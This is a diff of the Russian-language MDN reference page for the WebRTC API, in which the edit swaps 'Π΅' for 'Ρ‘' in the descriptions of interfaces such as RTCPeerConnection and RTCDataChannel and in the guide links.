<p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) - это тСхнология, которая позволяСт Web-прилоТСниям ΠΈ сайтам Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ/ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΠΎΡ‚ΠΎΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈΒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, Π±Π΅Π· ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ использования посрСдников. Набор стандартов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя тСхнология WebRTC, позволяСт ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΈΡ€ΠΈΠ½Π³ΠΎΠ²Ρ‹Π΅ Ρ‚Π΅Π»Π΅ΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈ, Π±Π΅Π· нСобходимости ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΠΈΠ»ΠΈ любоС другоС стороннСС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС.</span></p>
-<p>WebRTC состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… взаимосвязанных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… интСрфСйсов (API) ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС. ДокумСнтация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ здСсь Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ основы WebRTC, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
+<p>WebRTC состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… взаимосвязанных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… интСрфСйсов (API) ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС. ДокумСнтация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ здСсь Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ основы WebRTC, ΠΊΠ°ΠΊ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</h2>
@@ -39,7 +39,7 @@ translation_of: Web/API/WebRTC_API
<dl>
<dt>{{domxref("RTCPeerConnection")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Β WebRTC соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈΒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ·Π»Π°ΠΌΠΈ.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Β WebRTC соСдинСниС ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ ΡƒΠ·Π»ΠΎΠΌ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈΒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ·Π»Π°ΠΌΠΈ.</dd>
<dt>{{domxref("RTCSessionDescription")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ парамСтры сСссии. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>RTCSessionDescription </code>содСрТит описания <a href="/en-US/docs/Web/API/RTCSessionDescription/type">Ρ‚ΠΈΠΏΠ°</a>, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°ΠΊΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ (ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅/ΠΎΡ‚Π²Π΅Ρ‚) процСсса ΠΏΠ΅Ρ€Π΅Π³ΠΎΠ²ΠΎΡ€ΠΎΠ²Β ΠΎΠ½ описываСт, ΠΈΒ <a href="/en-US/docs/Glossary/SDP">SDP</a>-дСскриптор сСссии<code>.</code></dd>
<dt>{{domxref("RTCIceCandidate")}}</dt>
@@ -47,7 +47,7 @@ translation_of: Web/API/WebRTC_API
<dt>{{domxref("RTCIceTransport")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Β ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ (ICE).</dd>
<dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ события, которыС происходят Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ICE, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ {{domxref ("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаСтся Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ события: {{event ("icecandidate")}}.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ события, которыС происходят Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² ICE, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ {{domxref ("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаётся Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ события: {{event ("icecandidate")}}.</dd>
<dt>{{domxref("RTCRtpSender")}}</dt>
<dd>УправляСт ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β  {{domxref("MediaStreamTrack")}} для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° {{domxref("RTCPeerConnection")}}.</dd>
<dt>{{domxref("RTCRtpReceiver")}}</dt>
@@ -59,7 +59,7 @@ translation_of: Web/API/WebRTC_API
<dt>{{domxref("RTCDataChannel")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ°Π½Π°Π» Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ·Π»Π°ΠΌΠΈ соСдинСния.</dd>
<dt>{{domxref("RTCDataChannelEvent")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ΠΏΡ€ΠΈ присоСдинСнии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β  {{domxref("RTCDataChannel")}} ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‚ΠΈΠΏΠ°Β {{domxref("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаСтся этому ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ {{event("datachannel")}}.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ события, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ΠΏΡ€ΠΈ присоСдинСнии ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β  {{domxref("RTCDataChannel")}} ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Ρ‚ΠΈΠΏΠ°Β {{domxref("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаётся этому ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ {{event("datachannel")}}.</dd>
<dt>{{domxref("RTCDTMFSender")}}</dt>
<dd>УправляСт кодированиСм ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉΒ Β Π΄Π²ΡƒΡ…Ρ‚ΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΡ‡Π°ΡΡ‚ΠΎΡ‚Π½ΠΎΠΉΒ  (DTMF) сигнализациСй для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° {{domxref("RTCPeerConnection")}}.</dd>
<dt>{{domxref("RTCDTMFToneChangeEvent")}}</dt>
@@ -71,9 +71,9 @@ translation_of: Web/API/WebRTC_API
<dt>{{domxref("RTCIdentityProvider")}}</dt>
<dd>АктивируСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ созданиС ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ объявлСния ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.</dd>
<dt>{{domxref("RTCIdentityAssertion")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ соСдинСния. Если ΡƒΠ·Π΅Π» Π΅Ρ‰Π΅ Π½Π΅ установлСн ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½, ссылка Π½Π° интСрфСйс Π²Π΅Ρ€Π½Π΅Ρ‚ <code>null</code>. ПослС установки Π½Π΅ измСняСтся.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΡƒΠ·Π»Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ соСдинСния. Если ΡƒΠ·Π΅Π» Π΅Ρ‰Ρ‘ Π½Π΅ установлСн ΠΈ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Ρ‘Π½, ссылка Π½Π° интСрфСйс Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>null</code>. ПослС установки Π½Π΅ измСняСтся.</dd>
<dt>{{domxref("RTCIdentityEvent")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡΒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ  (idP). Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° Β {{domxref("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаСтся этому ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ {{event("identityresult")}}.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡΒ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ  (idP). Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° Β {{domxref("RTCPeerConnection")}}. Один Ρ‚ΠΈΠΏ пСрСдаётся этому ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ {{event("identityresult")}}.</dd>
<dt>{{domxref("RTCIdentityErrorEvent")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события ошибки, связанной с ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠΌ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ (idP). Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ°Β Β {{domxref("RTCPeerConnection")}}. Π”Π²Π° Ρ‚ΠΈΠΏΠ° ошибки ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ этому ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ : {{event("idpassertionerror")}} ΠΈΒ {{event("idpvalidationerror")}}.</dd>
</dl>
@@ -84,11 +84,11 @@ translation_of: Web/API/WebRTC_API
<dt><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">ΠžΠ±Π·ΠΎΡ€ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Ρ‹ WebRTC</a></dt>
<dd>Под API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ WebRTC, располоТСн Π½Π°Π±ΠΎΡ€ сСтСвых ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² ΠΈ стандартов соСдинСния.Β Π­Ρ‚ΠΎΡ‚ ΠΎΠ±Π·ΠΎΡ€ - Π²ΠΈΡ‚Ρ€ΠΈΠ½Π° этих стандартов.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Web/API/WebRTC_API/Session_lifetime">Π–ΠΈΠ·Π½ΡŒ WebRTC-сСссии</a></dt>
- <dd>WebRTC позволяСт Π²Π°ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΡƒΠ·Π΅Π»-ΡƒΠ·Π΅Π» для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ ΠΈΡ… ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ взглянСм Π½Π° Тизнь WebRTC-сСссии, начиная с установки соСдинСния ΠΈ ΠΏΡ€ΠΎΠΉΠ΄Π΅ΠΌ вСсь ΠΏΡƒΡ‚ΡŒ Π΄ΠΎ Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</dd>
+ <dd>WebRTC позволяСт Π²Π°ΠΌ ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ соСдинСниС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΡƒΠ·Π΅Π»-ΡƒΠ·Π΅Π» для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ ΠΈΡ… ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ взглянСм Π½Π° Тизнь WebRTC-сСссии, начиная с установки соСдинСния ΠΈ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ вСсь ΠΏΡƒΡ‚ΡŒ Π΄ΠΎ Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</dd>
<dt><a href="/en-US/docs/Web/API/WebRTC_API/Overview">ΠžΠ±Π·ΠΎΡ€ WebRTC API</a></dt>
<dd>WebRTC состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… взаимосвязанных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… интСрфСйсов (API) ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΎΠ±ΠΌΠ΅Π½Π° Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΈ ΠΌΠ΅Π΄ΠΈΠ°-ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΈ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ·Π»Π°ΠΌΠΈ.Β Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСн ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· этих API ΠΈ ΠΊΠ°ΠΊΡƒΡŽ Ρ†Π΅Π»ΡŒ ΠΎΠ½ прСслСдуСт.</dd>
<dt><a href="/en-US/docs/Web/API/WebRTC_API/WebRTC_basics">ΠžΡΠ½ΠΎΠ²Ρ‹ WebRTC</a></dt>
- <dd>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· созданиС кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ RTC-прилоТСния. К ΠΊΠΎΠ½Ρ†Ρƒ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π΄Π°Ρ‚Π°- ΠΈ ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠ°Π½Π°Π», Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ‚ΠΎΡ‡ΠΊΠ°-Ρ‚ΠΎΡ‡ΠΊΠ°.</dd>
+ <dd>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Ρ‚ вас Ρ‡Π΅Ρ€Π΅Π· созданиС кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ RTC-прилоТСния. К ΠΊΠΎΠ½Ρ†Ρƒ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π΄Π°Ρ‚Π°- ΠΈ ΠΌΠ΅Π΄ΠΈΠ°-ΠΊΠ°Π½Π°Π», Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠΉ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ‚ΠΎΡ‡ΠΊΠ°-Ρ‚ΠΎΡ‡ΠΊΠ°.</dd>
<dt><a href="/en-US/docs/Web/API/WebRTC_API/Protocols">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ WebRTC</a></dt>
<dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСны ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹, Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ создан API WebRTC.</dd>
</dl>
@@ -113,7 +113,7 @@ translation_of: Web/API/WebRTC_API
<dt><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β ΠΊΠ°Π½Π°Π»Π° Π΄Π°Π½Π½Ρ‹Ρ… RTCDataChannel</a></dt>
